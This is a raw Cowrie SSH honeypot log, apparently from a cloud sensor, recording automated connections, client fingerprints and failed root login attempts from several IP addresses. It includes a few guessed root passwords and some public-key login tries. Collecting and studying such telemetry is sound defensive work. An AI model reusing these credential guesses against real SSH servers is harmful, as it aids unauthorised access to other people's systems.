{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:19.566065Z","src_ip":"43.153.50.197","session":"c1f45c9cb525","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2085","message":"login attempt [root/2085] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:19.873569Z","src_ip":"43.153.50.197","session":"c1f45c9cb525","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:20.945757Z","src_ip":"43.153.50.197","session":"c1f45c9cb525","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:26.973394Z","src_ip":"213.209.159.158","session":"cedf81b5b718","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":47500,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa4204f94cb8","protocol":"ssh","message":"New connection: 37.143.61.84:47500 (10.17.0.5:22) [session: aa4204f94cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:32.294327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:32.299001Z","src_ip":"37.143.61.84","session":"aa4204f94cb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:32.395149Z","src_ip":"37.143.61.84","session":"aa4204f94cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"save123","message":"login attempt [root/save123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:32.894401Z","src_ip":"37.143.61.84","session":"aa4204f94cb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:33.993344Z","src_ip":"37.143.61.84","session":"aa4204f94cb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.1.45","src_port":54772,"dst_ip":"10.17.0.5","dst_port":22,"session":"513f17e4f4af","protocol":"ssh","message":"New connection: 43.134.1.45:54772 (10.17.0.5:22) [session: 513f17e4f4af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:39.660249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:39.665028Z","src_ip":"43.134.1.45","session":"513f17e4f4af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:39.913050Z","src_ip":"43.134.1.45","session":"513f17e4f4af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"donkey","message":"login attempt [root/donkey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:40.926244Z","src_ip":"43.134.1.45","session":"513f17e4f4af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:42.175073Z","src_ip":"43.134.1.45","session":"513f17e4f4af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.20.127.221","src_port":49728,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f228d839724","protocol":"ssh","message":"New connection: 198.20.127.221:49728 (10.17.0.5:22) [session: 2f228d839724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:45.388792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:45.394019Z","src_ip":"198.20.127.221","session":"2f228d839724","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:45.490217Z","src_ip":"198.20.127.221","session":"2f228d839724","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:38:78:d0:84:e0:55:64:91:47:d4:be:8d:5b:f5:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDy5O6YBAa7hDzGbdsmEXNBnaETIIfV5TdBmS7oL3f72aT3fGy/tZxV+C9W0WylXZJc2qhR60JqvEo4yfozPiGBuJO0SAkZ1P+mAMFkoitIQv5Vgq4E3fXPBDhhKZic/EEXticLsvk1HKMM/LSSJDad3iwdoF9M1MSJ5oANLlk8iECsFFs8cB4LvJ8FcG1QKPTQMYi5JtHIucLwN2xDOG+W+T0KcBLEqcP4dMnmcLLslUQ01UGAKqpFlmR5EYROB6czFFOSbo0XkWxoNd4UBFah95/tk+oS9ktgnU8wzeW/SGMYK9+j1UpzUiDnb2/w4RhUOIs6p3z4ugmvMIFbKkXZgrkv8DBqYMEuERhDpw2BCOgdblWHGy0yaYDJAAruOsyrpamjYB/5W+MjaztVOPh1TtabGUcZERLFK3jvGkVCEvMFep5N7X3dhLTZhbqB/sAVp4H20krlF1PvONgTmOUFNb85StOcVI3RnDhwrgiUM8g5YbPJ7l2ENjaJzWhGLc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:38:78:d0:84:e0:55:64:91:47:d4:be:8d:5b:f5:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:45.913435Z","src_ip":"198.20.127.221","session":"2f228d839724","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:38:78:d0:84:e0:55:64:91:47:d4:be:8d:5b:f5:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDy5O6YBAa7hDzGbdsmEXNBnaETIIfV5TdBmS7oL3f72aT3fGy/tZxV+C9W0WylXZJc2qhR60JqvEo4yfozPiGBuJO0SAkZ1P+mAMFkoitIQv5Vgq4E3fXPBDhhKZic/EEXticLsvk1HKMM/LSSJDad3iwdoF9M1MSJ5oANLlk8iECsFFs8cB4LvJ8FcG1QKPTQMYi5JtHIucLwN2xDOG+W+T0KcBLEqcP4dMnmcLLslUQ01UGAKqpFlmR5EYROB6czFFOSbo0XkWxoNd4UBFah95/tk+oS9ktgnU8wzeW/SGMYK9+j1UpzUiDnb2/w4RhUOIs6p3z4ugmvMIFbKkXZgrkv8DBqYMEuERhDpw2BCOgdblWHGy0yaYDJAAruOsyrpamjYB/5W+MjaztVOPh1TtabGUcZERLFK3jvGkVCEvMFep5N7X3dhLTZhbqB/sAVp4H20krlF1PvONgTmOUFNb85StOcVI3RnDhwrgiUM8g5YbPJ7l2ENjaJzWhGLc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:45.917511Z","src_ip":"198.20.127.221","session":"2f228d839724","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:5f:1f:0c:da:ca:84:af:05:6a:bd:77:5c:86:f9:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLRt9AXiscauAxpTAZwNTQBlBCqJHYoz12WAuZm9T6SUEC8xknXClba5+YBs7bWVrxDXmdCKgMyWMtL30tu6W2X0qsLKwaA7R6xhNqYQbHZAuxEH+OJbrg8BINDNp5tjFi3ITDxNaYezT42YnjT//FdgFI+JM5jFAl2HRICTbDLqZjnKvoLte3dPioGGuFcKK7saDCny39Tj4brL43JtJvlPCDV+yDLFLPiIuL9g/g8gKcl2Xp7S6mYlY1ZAdmUEWxFehX1PpuG3CXZIp2Mm07dWErxHtlW2QojWSC9Nnhgj4TjC/sUCPV8oUfPycByBQgTT3lNDCg7fERuinluF7F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:5f:1f:0c:da:ca:84:af:05:6a:bd:77:5c:86:f9:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:46.012424Z","src_ip":"198.20.127.221","session":"2f228d839724","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:5f:1f:0c:da:ca:84:af:05:6a:bd:77:5c:86:f9:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLRt9AXiscauAxpTAZwNTQBlBCqJHYoz12WAuZm9T6SUEC8xknXClba5+YBs7bWVrxDXmdCKgMyWMtL30tu6W2X0qsLKwaA7R6xhNqYQbHZAuxEH+OJbrg8BINDNp5tjFi3ITDxNaYezT42YnjT//FdgFI+JM5jFAl2HRICTbDLqZjnKvoLte3dPioGGuFcKK7saDCny39Tj4brL43JtJvlPCDV+yDLFLPiIuL9g/g8gKcl2Xp7S6mYlY1ZAdmUEWxFehX1PpuG3CXZIp2Mm07dWErxHtlW2QojWSC9Nnhgj4TjC/sUCPV8oUfPycByBQgTT3lNDCg7fERuinluF7F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:46.015917Z","src_ip":"198.20.127.221","session":"2f228d839724","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:23:2d:42:3f:28:a1:b2:8a:f1:02:a7:c4:18:23:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCr4/tQq4IAaXVJy5fUezyqfRXupQm1CJ37VKVK4eD9WzsNvaWeS27svFY3DeqnI9qDdflyMr3H8QU/gvWnwd/wTSk/+o9pJ8WjXSqVBoDOfQsBqGGZppFEjJP84YIZo/znnN/0F8QMWqneBd8FtigvYAbHBJhULBJ275dth3c76dpu0BAhHChENYff+9rP8Cwi85h6w5AL9rRYJxmHG/z6lvXKD7jYU4N7HiSMl2pkdZdxOmJSBthcZ5XZzJaCUniUeSvGDpOik+/Z0ITkYrCqNZ8sjMtX41Zen26Xl1dC/JpJbk+ZacKFhoZBQiQRFAIykjHqDzXF0iRAzF3o0Bf/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:23:2d:42:3f:28:a1:b2:8a:f1:02:a7:c4:18:23:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:46.108655Z","src_ip":"198.20.127.221","session":"2f228d839724","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:23:2d:42:3f:28:a1:b2:8a:f1:02:a7:c4:18:23:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCr4/tQq4IAaXVJy5fUezyqfRXupQm1CJ37VKVK4eD9WzsNvaWeS27svFY3DeqnI9qDdflyMr3H8QU/gvWnwd/wTSk/+o9pJ8WjXSqVBoDOfQsBqGGZppFEjJP84YIZo/znnN/0F8QMWqneBd8FtigvYAbHBJhULBJ275dth3c76dpu0BAhHChENYff+9rP8Cwi85h6w5AL9rRYJxmHG/z6lvXKD7jYU4N7HiSMl2pkdZdxOmJSBthcZ5XZzJaCUniUeSvGDpOik+/Z0ITkYrCqNZ8sjMtX41Zen26Xl1dC/JpJbk+ZacKFhoZBQiQRFAIykjHqDzXF0iRAzF3o0Bf/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:46.112375Z","src_ip":"198.20.127.221","session":"2f228d839724","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:28:49:2b:1d:32:81:f2:a8:87:7d:61:fe:7d:23:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxC1PG6fnWosIz3XKWectnuX+hBxfz9y3rPVpNTlWhTAAngh2HQHd5NnLqSfPeR5GX6QiI6LPQcQ+xF6/jGPJ1GYdmGnJXfHRl9JRMAO3bCystSBBTu6MLbRZALw7q8wphsdbukByzUFLBdIukmibM01dcBq6rrMJBlnHeZokfV1riHAwdRGFY/DGVTsBOLNfS+ztKmzJ59fXU8G8oFxTpZPprdwYEKCeyABqn0PjHItEJYBfszkCgzzgViUCvnjPVcOQdpNEuex6ZendIAG7Uh75bkF7Xb9wHbLA+oH/ZRiXIivA1EALgw0A2qJgVPCbN97j7t8w3Q977+f76Znqaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:28:49:2b:1d:32:81:f2:a8:87:7d:61:fe:7d:23:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:46.207331Z","src_ip":"198.20.127.221","session":"2f228d839724","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:28:49:2b:1d:32:81:f2:a8:87:7d:61:fe:7d:23:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxC1PG6fnWosIz3XKWectnuX+hBxfz9y3rPVpNTlWhTAAngh2HQHd5NnLqSfPeR5GX6QiI6LPQcQ+xF6/jGPJ1GYdmGnJXfHRl9JRMAO3bCystSBBTu6MLbRZALw7q8wphsdbukByzUFLBdIukmibM01dcBq6rrMJBlnHeZokfV1riHAwdRGFY/DGVTsBOLNfS+ztKmzJ59fXU8G8oFxTpZPprdwYEKCeyABqn0PjHItEJYBfszkCgzzgViUCvnjPVcOQdpNEuex6ZendIAG7Uh75bkF7Xb9wHbLA+oH/ZRiXIivA1EALgw0A2qJgVPCbN97j7t8w3Q977+f76Znqaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:46.211009Z","src_ip":"198.20.127.221","session":"2f228d839724","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:bc:c6:69:f4:49:3b:ae:f9:fa:b5:18:09:de:14:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJtzatLfZQYueXCA98Rn3KjOSlANUNt73KFP8cKofXpvnGeNnDVZ3X6r41CvzDDfM30qkj6R9XpJV1zj8XMAxiDDc5M75ZeSfO4DJC4E1BUXWAGcHRwq5prb2Q4SPL2SVwr3HrhX20afj8AH8HO7WsKJhbIJsdHcAhvgFQWasGbcwqSL1J62EYOF7tp0nsmQUMQrGanWQ/UdMvn22WlEvFoWtREK4JD8nukWhkbptQbTdy8QvBsbR1kOFPOkRRuLqOgZnUPPL8RxrjTxJaIKaYM3gX+eSbeyqTFdfDdxpRrZsCtk7rEkNlAzzqZ21UvJOZZQINz1+OZMIC0YQXbRNH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:bc:c6:69:f4:49:3b:ae:f9:fa:b5:18:09:de:14:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:46.302352Z","src_ip":"198.20.127.221","session":"2f228d839724","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:bc:c6:69:f4:49:3b:ae:f9:fa:b5:18:09:de:14:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJtzatLfZQYueXCA98Rn3KjOSlANUNt73KFP8cKofXpvnGeNnDVZ3X6r41CvzDDfM30qkj6R9XpJV1zj8XMAxiDDc5M75ZeSfO4DJC4E1BUXWAGcHRwq5prb2Q4SPL2SVwr3HrhX20afj8AH8HO7WsKJhbIJsdHcAhvgFQWasGbcwqSL1J62EYOF7tp0nsmQUMQrGanWQ/UdMvn22WlEvFoWtREK4JD8nukWhkbptQbTdy8QvBsbR1kOFPOkRRuLqOgZnUPPL8RxrjTxJaIKaYM3gX+eSbeyqTFdfDdxpRrZsCtk7rEkNlAzzqZ21UvJOZZQINz1+OZMIC0YQXbRNH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:46.305687Z","src_ip":"198.20.127.221","session":"2f228d839724","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:46.398044Z","src_ip":"198.20.127.221","session":"2f228d839724","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.119.63.98","src_port":17907,"dst_ip":"10.17.0.5","dst_port":22,"session":"32cc0982e851","protocol":"ssh","message":"New connection: 190.119.63.98:17907 (10.17.0.5:22) [session: 32cc0982e851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:48.538511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:48.543360Z","src_ip":"190.119.63.98","session":"32cc0982e851","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:48.688897Z","src_ip":"190.119.63.98","session":"32cc0982e851","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test01","message":"login attempt [root/test01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:49.461781Z","src_ip":"190.119.63.98","session":"32cc0982e851","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:50.611295Z","src_ip":"190.119.63.98","session":"32cc0982e851","protocol":"ssh"}
